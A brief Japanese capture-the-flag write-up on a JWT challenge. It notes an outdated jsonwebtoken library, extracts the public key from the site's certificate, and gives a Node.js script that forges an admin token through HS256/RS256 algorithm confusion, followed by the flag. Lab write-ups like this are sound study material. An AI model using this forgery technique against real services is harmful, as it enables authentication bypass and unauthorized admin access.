JWT
JWT = JSON Web Token
「古いのが動いている」
nginx?→他とバージョンは同じ
Express→バージョン不明
ExpressのJWTライブラリ jsonwebtoken が古いらしい、と後からわかった
https://q2.sckosen2019.tech/ にアクセスすると、自己署名証明書のエラーが出る
cookieにJWT, iat(issued at)は変化なし
code:ctf.crt
-----BEGIN CERTIFICATE-----
MIIDMzCCAhsCFHWJ5kLeX7a0uNg3LfmCDIA54uZ3MA0GCSqGSIb3DQEBCwUAMFUx
CzAJBgNVBAYTAkpQMQ4wDAYDVQQIDAVUb2t5bzEMMAoGA1UEBwwDQ1RGMQwwCgYD
VQQKDANDVEYxDDAKBgNVBAsMA0NURjEMMAoGA1UEAwwDY3RmMCAXDTE5MTAyNTA0
NTYxMloYDzIyMTkwOTA3MDQ1NjEyWjBVMQswCQYDVQQGEwJKUDEOMAwGA1UECAwF
VG9reW8xDDAKBgNVBAcMA0NURjEMMAoGA1UECgwDQ1RGMQwwCgYDVQQLDANDVEYx
DDAKBgNVBAMMA2N0ZjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAN1Q
0+pT6lNQocH4W6QLQRwMHxkUaUIDjbmk/rThTr9fNWspEVCIa+8/z68Y18B6NKRy
YBJ8nIhBKgw0fqHQptU31Fk0Gp7L8b2fwpaWJDT/MpnE+6Ykd6BbgqGJYMEEMgrA
wx9lo6hud7yhjypgmyk8VeSKpYp/IREUAbV34P79vdIN9BdYhNjCmfaQCRxX+W4a
Qkrrqgh1Y1KOn8zlsdOiri6O8oUpgfNfvB43ZBv+TAhSkkPGenHZhH71fXf4Rja5
eJVy0+mN5NvVUBbXoGb2bN7NN8aFvHN3TzSQBzb9Ng9wIVXW7roLtTCgA8yLW+lk
9H3sSOqlwk11UPXxyV0CAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAStAysDeXblhJ
YnXKq4ZOiXzNDqaZvfz5fYm3cetGESX5CutK1jfKtaXc9uGUc0OR/URSS9azixAh
YdPJsrrzTG1L6hZn7ves0owqHyej9ag0x/yZPTLyZXA/M/P/ChMgXZzMLd3R7Y2U
tjXMg35jmLKGwOHHvbVtc55NxNtam/OUprP/Q9g8fYnnkep17uqU9L//TbGsXLI1
2xI0fRqDbPSjONLAp3cZn/y3+60yiQ9a1IvpEAM91/A2ilJM/dDFlLNWjf5Kyt6M
gg1PS3PefO3Sp3SZatfPLLfandCnLCaZGEQlNRlVS3fCjseD9oCr9/wK0zRnhQhg
ajcbSLC3pQ==
-----END CERTIFICATE-----
http://q2.sckosen2019.tech/ HTTPでアクセスすると、Welcome to nginx!
https://gyazo.com/06089465fe8ad69783d8f4f7256e44a4
jsonwebtoken ライブラリの過去の脆弱性
HS256で使用するHMACとRS256の共通鍵を混同するらしい、詳しくは上記参照
openssl コマンドで証明書から公開鍵を取り出して pub.pem に保存する
exploit
code:main.js
const jwt = require('jsonwebtoken');
const fs = require('fs');
const payl = {
"user": "admin",
"iat": 1572051603
}
const secret = fs.readFileSync(__dirname + '/pub.pem')
const alg = {
algorithm: "HS256"
}
const token = jwt.sign(payl, secret, alg)
console.log(token)
CTFKIT{old_jwt_library_is_unsecure}